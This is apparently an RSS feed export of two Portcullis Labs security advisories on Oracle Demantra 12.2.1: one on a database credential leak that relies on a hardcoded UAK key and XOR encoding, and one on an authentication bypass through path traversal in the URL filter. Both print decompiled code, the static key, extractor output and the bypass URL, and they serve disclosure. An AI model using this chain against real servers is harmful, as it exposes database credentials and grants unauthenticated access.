Portcullis Labs » Oracle Demantra https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 CVE-2013-5795: Oracle Demantra database credentials leak vulnerability https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/ https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/#comments Thu, 20 Feb 2014 06:23:54 +0000 https://labs.portcullis.co.uk/?p=3089 The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend. Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made […]

The post CVE-2013-5795: Oracle Demantra database credentials leak vulnerability appeared first on Portcullis Labs.

]]>
The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend.

Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.

Vulnerable System:

  • Oracle Demantra 12.2.1

Vulnerability Description:

Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.

The URL endpoint for this functionality is located at:

  • /demantra/ServerDetailsServlet

The initial function looks like this:

public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException {
	PrintWriter outWriter = null;
	String dbDetails = null;
	String msg = null;
	String uak = iRequest.getParameter("UAK");

	if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() });

	if(isValidUAK(uak)) {
		dbDetails = getDBParams();
		dbDetails = CryptographicService.encodeString(dbDetails);
		msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails });
		if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg);
			if(dbDetails != null) {
				outWriter = new PrintWriter(ioResponse.getOutputStream());
				outWriter.print(dbDetails);
				outWriter.flush();
			outWriter.close();
		} else {
			ioResponse.sendError(500, msg);
		}
	} else {
		ioResponse.sendError(403);
	}
}

We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.

The getDBParams function looks like this:

private String getDBParams() {
	StringBuilder strBuilder = new StringBuilder();
	String dbName = null;
	String resStr = null;
	String msg = null;
	boolean isValid = true;

	if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc";
		else dbName = CommonProp.DB_NAME;
	if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER });
		Logger.warn(msg);
	}
	if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD });
		Logger.warn(msg);
	}
	if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME });
		Logger.warn(msg);
	}
	if(dbName == null || dbName.length() == 0) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME });
		Logger.warn(msg);
	}
	if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) {
		isValid = false;
		msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE });
		Logger.warn(msg);
	}
	if(isValid) {
		strBuilder.append(CommonProp.DB_USER);
		strBuilder.append("?");
		strBuilder.append(CommonProp.DB_PASSWORD);
		strBuilder.append("?");
		strBuilder.append(CommonProp.TNS_NAME);
		strBuilder.append("?");
		strBuilder.append(dbName);
		strBuilder.append("?");
		strBuilder.append(JDBCConnectionPool.DBTypeId);
		resStr = strBuilder.toString();
	}
	return resStr;
}

Now we need to see how UAK is calculated. The necessary function can be found in the following file:

  • WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class

Suprisingly, the UAK key is calculated statically:

private static String createJavaUAK() {
	String uak = null;

	try {
		String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));
		StringBuffer tmp = new StringBuffer("sge");
		tmp.append(0);
		tmp.append(encryptedPassword);
		uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
	} catch(NoSuchAlgorithmException e) {
		Logger.error(e);
	}
	return uak;
}

When calculated, the UAK string will always be:

  • 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1

The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:

public static String decodeString(String text) {
	if(text == null) return null;
	String ret = null;
	StringTokenizer strTokenizer = new StringTokenizer(text, ",");
	int size = strTokenizer.countTokens();
	byte bytes[] = new byte[size];
	for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) {
		int a = Integer.parseInt(strTokenizer.nextToken());
		a ^= 0x50;
		bytes[counter] = (byte)a;
	}
	try {
		ret = new String(bytes, "UTF-8");
	} catch(Exception e) {
		e.printStackTrace();
	}
	return ret;
}

As we can see the method used to secure the data is a simple XOR algorithm.

Armed with those information it is possible to create a simple database credentials extractor:

$ java getUAK

-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Decrypted string is:
TEST?test?demantra?orc?1

Together with the authentication bypass this can be exploited unauthenticated as well.

Impact:

A remote attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name as an unauthenticated user, otherwise authentication is required.

Recommendation:

Please see the Oracle CPU for remediation:

The post CVE-2013-5795: Oracle Demantra database credentials leak vulnerability appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/cve-2013-5795-oracle-demantra-database-credentials-leak-vulnerability/feed/ 0
CVE-2013-5880: Oracle Demantra authentication bypass vulnerability https://labs.portcullis.co.uk/blog/cve-2013-5880-oracle-demantra-authentication-bypass-vulnerability/ https://labs.portcullis.co.uk/blog/cve-2013-5880-oracle-demantra-authentication-bypass-vulnerability/#comments Wed, 19 Feb 2014 06:35:39 +0000 https://labs.portcullis.co.uk/?p=3074 The purpose of this post is to present a technical report of the CVE-2013-5880 vulnerability. This bug was found on a bug hunt weekend. Oracle Demantra is a demand management, sales and operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made […]

The post CVE-2013-5880: Oracle Demantra authentication bypass vulnerability appeared first on Portcullis Labs.

]]>
The purpose of this post is to present a technical report of the CVE-2013-5880 vulnerability. This bug was found on a bug hunt weekend.

Oracle Demantra is a demand management, sales and operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.

Vulnerable System:

  • Oracle Demantra 12.2.1

Vulnerability Description:

Demantra uses an Authorization Filter that analyses each request made to the web application. The authorization filter is based on one main file located in the security folder in the root directory. This file is called “authorizationUnsecureURLs.txt”.

There is a vulnerability relating to the way the authorization filter handles input that allows a malicious attacker to bypass authentication.

The authorizedUnsecureURLs contains a list of all pages that can be accessed without a proper authenticated session. When opened the file looks like this:

#This file contains a list of all demantra URLs considered safe for an unauthenticated user.
#This means that anyone can access these pages, and no security checks whatsoever are done on requests
#for these pages.
#WARNING!!! CHANGING ANYTHING IN THIS FILE CAN SERIOUSLY AFFECT PROGRAM USABILITY AND/OR COMPROMISE SECURITY!!!!
#After altering page, for changes to take effect server must be restarted.
#Login
/portal/loginpage.jsp
/common/loginCheck.jsp
/portal/partnerLogin.jsp
/workflow/login.jsp
/LoginServlet
/portal/DOLLogin.jsp
/portal/remoteloginpage.jsp
/admin/adminManagement.jsp
/portal/userManagement.jsp
/portal/adminLogin.jsp
/portal/anywhereLogin.jsp
/portal/launchDPWeb.jsp
/common/changePassword.jsp
#Error Pages
/common/ForbiddenErrorPage.jsp
/portal/notAuthorizedAdmin.jsp
/workflow/notLoggedIn.jsp
/portal/notLoggedIn.jsp
/portal/generalErrorPage.jsp
/portal/notFoundErrorPage.jsp
#Engine
/BatchForecastServlet
/SimulationServlet
#BM
/ServerDetailsServlet
#DB
/NotificationServlet
#Integration
/common/prelogin.jsp
/WorkflowServer
#Other
/ConnectionServlet
/portal/checkSessionExpiration.jsp

The main class is located at :

  • WEB-INF/classes/com/demantra/security/server/authorization/AuthorizationFilter.class

The AuthorizationFilter class loads all the pages in a list and intercepts any request made to the application. The requested URL is then checked through the isSecureURL function which is defined in:

  • WEB-INF/classes/com/demantra/security/server/SessionAuthenticationFilter.class

The function looks like this:

protected boolean isSecureURL(String url) {
	boolean isSecure = true;
	List safeUrls = getSafeUrls();

	if(safeUrls != null) {
		Iterator i$ = safeUrls.iterator();
		do {
			if(!i$.hasNext()) break;
			String safeUrl = (String)i$.next();
			if(url.indexOf(safeUrl) != -1) isSecure = false;
		} while(true);

	}
	return isSecure;
}

Each request is matched against the URL list defined in the authorizationUnsecureURLs.txt file. However, the code has a design flaw that can be exploited.

Let’s assume we have a URL like this:

  • demantra/common/loginCheck.jsp

This will then be compared with the following code:

url.indexOf(safeURL)

safeURL() contains the allowed URL list, which contains

  • /common/loginCheck.jsp

which will allow any user to view that page.

A malicious attacker can abuse this check due to the insecure usage of indexOf(). Let’s see what the definition of indexOf() says:

int indexOf(String str)

This returns the index within this string of the first occurrence of the specified substring. If it does not occur as a substring, -1 is returned.
As we can see it only check if there is an occurrence of the string, it does not actually check the full URL, which allows an attacker to do things that shouldn’t be possible to do.

Let’s assume an attacker wants to access:

  • /demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=5&menuGroupName=Applications&tkn=-308184887676887

This request would fail as the user would need to be authenticated to access the above URL.

However, if the URL is constructed like:

  • /demantra/common/loginCheck.jsp/../../portal/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=5&menuGroupName=Applications&tkn=-308184887676887

This would be a valid request as the isSecureURL() would return true due to the fact that /common/loginCheck.jsp exists and is a valid URL to be accessed unauthenticated.

Impact:

A remote, unauthenticated attacker could exploit this issue in combination with other found issues, to extract data from the database or retrieve files from the system. In some cases this could also lead to arbitrary code execution

Recommendation:

Please see the Oracle CPU for remediation:

The post CVE-2013-5880: Oracle Demantra authentication bypass vulnerability appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/cve-2013-5880-oracle-demantra-authentication-bypass-vulnerability/feed/ 0